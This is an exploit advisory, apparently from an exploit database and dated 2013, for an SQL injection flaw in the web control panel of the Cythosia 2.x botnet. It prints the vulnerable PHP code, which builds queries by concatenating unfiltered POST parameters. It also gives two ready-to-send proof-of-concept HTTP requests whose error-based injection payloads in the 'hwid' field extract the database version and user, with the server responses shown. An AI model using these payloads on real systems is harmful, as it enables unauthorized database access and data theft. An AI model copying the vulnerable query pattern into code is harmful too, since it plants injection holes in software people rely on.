Cythosia 2.x Botnet (C2 Web Panel) – SQL Injection
########################################################################## # Exploit Title: Cythosia Botnet SQL-Injection Vulnerability # Date: 11.12.2013 # Exploit Author: GalaxyAndroid # Vendor Homepage: unkn0wn # Application Screenshots http://www.xylibox.com/2012/08/cythosia-botnet-vnloader.html # Version: 2.x # Tested on: Windows 7 with Xampp # greets goes to: ChrisKSK, Protestants in Ukraine -> keep pushing! # no greets to: NSA, GCHQ, USA, AUS, CAN, GBR, NZL #################################Vuln-Code################################### # Vuln-Code: #All POST-Parameters in the file "socks5.php" are vuln against SQL-Injection # #if(!empty($_POST['hwid']) && !empty($_POST['cn']) && !empty($_POST['ip']) && !empty($_POST['port'])) # { # $query = mysql_query("SELECT * FROM hydra_socks WHERE hwid = '".$_POST['hwid']."'"); # if(mysql_num_rows($query) >= 1) # { # $sql = mysql_query("UPDATE hydra_socks SET ip = '".$_POST['ip']."', port = '".$_POST['port']."' WHERE hwid = '".$_POST['hwid']."'"); # } # else # { # $sql = mysql_query("INSERT INTO hydra_socks (`hwid`, `country`, `ip`, `port`) VALUES ('".$_POST['hwid']."', '".$_POST['cn']."', '".$_POST['ip']."', '".$_POST['port']."')"); # } # if(!$sql) # { # echo "fail"; # echo mysql_error(); # } ##############################Exploit######################################## # # PoC 1 - Gets the MySQL Version Information: POST http://127.0.0.1/cythosia/Webpanel/socks5.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 322 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Miauu Connection: Close hwid=1%27+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+concat%280x7e%2C0x27%2Cversion%28%29%2C0x27%2C0x7e%29%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+%271%27%3D%271&cn=test&ip=test&port=test Response: Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in C:xamppneuhtdocscythosiaWebpanelsocks5.php on line 11 failDuplicate entry '~'5.5.32'~1' for key 'group_key' # PoC 2 - whoami? POST /cythosia/Webpanel/socks5.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 319 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Connection: Close hwid=1%27+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+concat%280x7e%2C0x27%2Cuser%28%29%2C0x27%2C0x7e%29%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+%271%27%3D%271&cn=test&ip=test&port=test Response: Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in C:xampphtdocscythosiaWebpanelsocks5.php on line 11 failDuplicate entry '~'root@localhost'~1' for key 'group_key' ############################################################################ |